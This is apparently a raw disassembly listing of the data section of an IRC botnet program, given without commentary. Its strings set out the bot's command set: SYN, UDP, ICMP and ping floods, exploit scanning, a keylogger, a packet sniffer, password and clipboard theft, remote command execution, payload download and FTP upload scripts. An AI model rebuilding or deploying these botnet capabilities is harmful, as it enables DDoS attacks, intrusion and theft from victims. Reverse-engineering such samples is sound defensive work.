; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_431208 db 2 ; DATA XREF: sub_40EE72+3BCFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 4 unk_431244 db 2 ; DATA XREF: sub_40EE72+3B4Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aFailedToSta_17 db ' Failed to start clone thread, error: <%d>.',0 unk_43128C db 2 ; DATA XREF: sub_40EE72+3ADDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_4312CC db 2 ; DATA XREF: sub_40EE72+3A55o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_431314 db 2 ; DATA XREF: sub_40EE72+39E6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 dword_431354 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+3948o dd 2BBBB02h aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_43139C dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+38D7o dd 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_4313D8 db 2 ; DATA XREF: sub_40EE72+385Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_431428 db 2 ; DATA XREF: sub_40EE72+37EFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_431464 db 2 ; DATA XREF: sub_40EE72+371Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 4 unk_4314B8 db 2 ; DATA XREF: sub_40EE72+36AEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 unk_431504 db 2 ; DATA XREF: sub_40EE72+3620o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_431550 db 2 ; DATA XREF: sub_40EE72+35B1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EE72+352Do align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EE72+3430o align 4 dword_4315BC dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EE72+33A2o ; sub_40EE72+43EFo unk_4315C8 db 2 ; DATA XREF: sub_40EE72+3340o ; sub_40EE72+5179o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0 align 10h unk_431610 db 2 ; DATA XREF: sub_40EE72+32D1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_40EE72+32A6o ; sub_40EE72+50DDo align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40EE72+329Fo ; sub_40EE72+50D6o align 4 unk_431694 db 2 ; DATA XREF: sub_40EE72+3161o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start scan, no IP specified.',0 align 4 unk_4316D8 db 2 ; DATA XREF: sub_40EE72+301Ao ; sub_40EE72+4F21o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 dword_431724 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2FE9o dd 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_43176C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2F7Ao dd 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o align 4 unk_4317DC db 2 ; DATA XREF: sub_40EE72+2E8Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_431824 db 2 ; DATA XREF: sub_40EE72+2E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_43187C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411BF4o dd 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 4 dword_4318C4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2D78o dd 2BBBB02h aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_43190C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2CFEo dd 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 10h aNormal db 'Normal',0 ; DATA XREF: sub_40EE72+2CEEo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EE72+2CE7o dword_431960 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2C4Co dd 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_431998 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4119D3o dd 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_4319D4 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2B5Ao dd 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EE72+2B43o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40EE72+2B2Co align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EE72+2B09o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EE72+2AD4o align 4 dword_431A4C dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2A8Ao dd 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EE72+2A67o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EE72+2A44o align 4 aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EE72+2A2Do align 4 unk_431AA4 db 3 ; DATA XREF: sub_40EE72+2A11o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 65h db 6Dh ; m db 61h, 69h, 6Ch db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5MessageSentTo db '5 Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EE72+299Do db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a__0: ; DATA XREF: sub_40EE72+2901o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40EE72+28B2o align 10h aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EE72+289Bo align 4 aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EE72+2884o align 4 aP: ; DATA XREF: sub_40EE72+286Do unicode 0, <p>,0 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EE72+2856o align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EE72+283Fo align 4 aU: ; DATA XREF: sub_40EE72+2828o unicode 0, <u>,0 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EE72+2811o align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EE72+27FAo align 4 aAdv db 'adv',0 ; DATA XREF: sub_40EE72+27E3o aAdvscan db 'advscan',0 ; DATA XREF: sub_40EE72+27CCo aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EE72+27A3o align 4 aClone_action db 'clone.action',0 ; DATA XREF: sub_40EE72+278Co align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EE72+2775o align 10h aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EE72+275Eo align 10h aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EE72+2747o aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EE72+2730o align 4 aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EE72+2719o align 4 aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EE72+2702o aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40EE72+26EBo aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40EE72+26D4o align 10h aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EE72+26BDo align 4 aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EE72+26A6o align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40EE72+264Ao aClone_make db 'clone.make',0 ; DATA XREF: sub_40EE72+2633o align 4 aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EE72+260Ao aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EE72+25F3o align 4 aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EE72+25DCo align 10h aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EE72+25C5o align 4 aFf db 'ff',0 ; DATA XREF: sub_40EE72+25AEo align 10h aFindfile db 'findfile',0 ; DATA XREF: sub_40EE72+2597o align 4 aCom_e db 'com.e',0 ; DATA XREF: sub_40EE72+2580o align 4 aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EE72+2569o aDownload_up db 'download.up',0 ; DATA XREF: sub_40EE72+2552o aDownload_updat db 'download.update',0 ; DATA XREF: sub_40EE72+253Bo aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EE72+2524o align 4 aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EE72+250Do align 10h aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EE72+24F6o align 4 aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EE72+24DFo align 4 aClone_p db 'clone.p',0 ; DATA XREF: sub_40EE72+24C8o aClone_part db 'clone.part',0 ; DATA XREF: sub_40EE72+24B1o align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40EE72+249Ao aClone_join db 'clone.join',0 ; DATA XREF: sub_40EE72+2483o align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EE72+246Co align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EE72+2455o align 4 aClone_m db 'clone.m',0 ; DATA XREF: sub_40EE72+243Eo aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EE72+2427o align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EE72+2410o align 4 aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EE72+23F9o align 10h aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EE72+23E2o align 4 aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EE72+23CBo align 4 aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EE72+23B4o align 4 aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EE72+239Do align 4 aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EE72+2386o align 10h aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EE72+236Fo align 4 aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EE72+2358o align 4 aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EE72+2341o aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EE72+232Ao align 4 aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EE72+2313o align 4 aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EE72+22EAo align 10h aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EE72+22D3o aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EE72+22BCo aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EE72+22A5o dword_431DF0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C9o dd 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_431E1C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C2o dd 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_431E4C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411077o dd 2BBBB02h aUserListFailed db ' User list failed.',0 dword_431E78 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+21FEo dd 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_40EE72+218Ao align 10h dword_431EB0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410FF1o dd 2BBBB02h aShareListFaile db ' Share list failed.',0 align 10h dword_431EE0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2175o dd 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40EE72+211Fo align 4 aDelete db 'delete',0 ; DATA XREF: sub_40EE72+20FDo align 10h aContinue db 'continue',0 ; DATA XREF: sub_40EE72+20E5o align 4 aPause db 'pause',0 ; DATA XREF: sub_40EE72+20CDo align 4 aStop db 'stop',0 ; DATA XREF: sub_40EE72+20B5o align 4 dword_431F3C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410F1Co dd 2BBBB02h aServiceListFai db ' Service list failed.',0 align 4 dword_431F6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+20A0o dd 2BBBB02h aServiceListCom db ' Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_40EE72+2069o align 4 dword_431FA8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2036o dd 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 10h aCom_net db 'com.net',0 ; DATA XREF: sub_40EE72+2012o unk_431FF8 db 2 ; DATA XREF: sub_40EE72+1FD1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0 align 4 unk_432044 db 2 ; DATA XREF: sub_40EE72+1F66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_432074 db 2 ; DATA XREF: sub_40EE72+1EE5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_4320A4 db 2 ; DATA XREF: sub_40EE72:loc_410D33o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 10h unk_4320E0 db 2 ; DATA XREF: sub_40EE72+1EB7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; ╩ db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_40EE72+1E83o ; sub_40EE72+1EF9o align 4 aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EE72+1E5Do align 10h unk_432140 db 2 ; DATA XREF: sub_40EE72:loc_410CC5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_432178 db 2 ; DATA XREF: sub_40EE72+1E49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 10h aOff db 'off',0 ; DATA XREF: sub_40EE72+1E26o ; sub_40EE72+1E94o unk_4321C4 db 2 ; DATA XREF: sub_40EE72+1E1Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0 align 10h unk_432210 db 2 ; DATA XREF: sub_40EE72+1DACo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 10h unk_432250 db 2 ; DATA XREF: sub_40EE72+1D45o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_40EE72+1D25o ; sub_40EE72+1E72o align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40EE72+1D10o align 4 aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EE72+1CF9o align 4 aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EE72+1CE2o align 4 aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EE72+1CCBo align 4 aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EE72+1CB4o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EE72+1C86o ; sub_40EE72+1C9Do align 10h aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EE72+1C6Fo align 4 aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EE72+1C58o align 4 aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EE72+1C41o align 4 aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EE72+1C2Ao align 4 aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EE72+1C13o align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EE72+1BFCo aCom_del db 'com.del',0 ; DATA XREF: sub_40EE72+1BE5o aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EE72+1BCEo align 10h aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EE72+1BB7o align 4 aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EE72+1BA0o align 4 aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EE72+1B89o aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o align 4 aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EE72+1B5Bo align 10h aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EE72+1B44o aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EE72+1B2Do align 10h aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EE72+1B16o align 10h aCom_o db 'com.o',0 ; DATA XREF: sub_40EE72+1AFFo align 4 aCom_open db 'com.open',0 ; DATA XREF: sub_40EE72+1AE8o align 4 aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EE72+1AD1o align 4 aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EE72+1ABAo align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EE72+1AA3o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EE72+1A8Co align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40EE72+1A75o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EE72+1A5Eo align 4 aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EE72+1A47o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EE72+1A30o align 4 aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EE72+1A19o align 4 aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EE72+1A02o aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40EE72+19EBo align 4 aIrc_part db 'irc.part',0 ; DATA XREF: sub_40EE72+19D4o align 4 aIrc_j db 'irc.j',0 ; DATA XREF: sub_40EE72+19BDo align 10h aIrc_join db 'irc.join',0 ; DATA XREF: sub_40EE72+19A6o align 4 aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EE72+198Fo align 4 aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EE72+1978o align 10h aSa db 'sa',0 ; DATA XREF: sub_40EE72+1952o align 4 aAsc db 'asc',0 ; DATA XREF: sub_40EE72+193Do aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EE72+1928o align 10h aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EE72+1913o align 10h aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EE72+18FEo align 10h aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EE72+18E9o align 10h aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EE72+18D4o align 10h aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EE72+18BFo aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EE72+18AAo align 10h aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o align 4 aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EE72+1880o align 10h aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EE72+186Bo align 10h aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EE72+1856o align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EE72+1841o align 4 aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EE72+182Co align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EE72+1817o align 4 aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EE72+1802o align 10h aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EE72+17EDo dword_43251C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+17DDo dd 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_40EE72+17A9o align 4 aEmpty db '<Empty>',0 ; 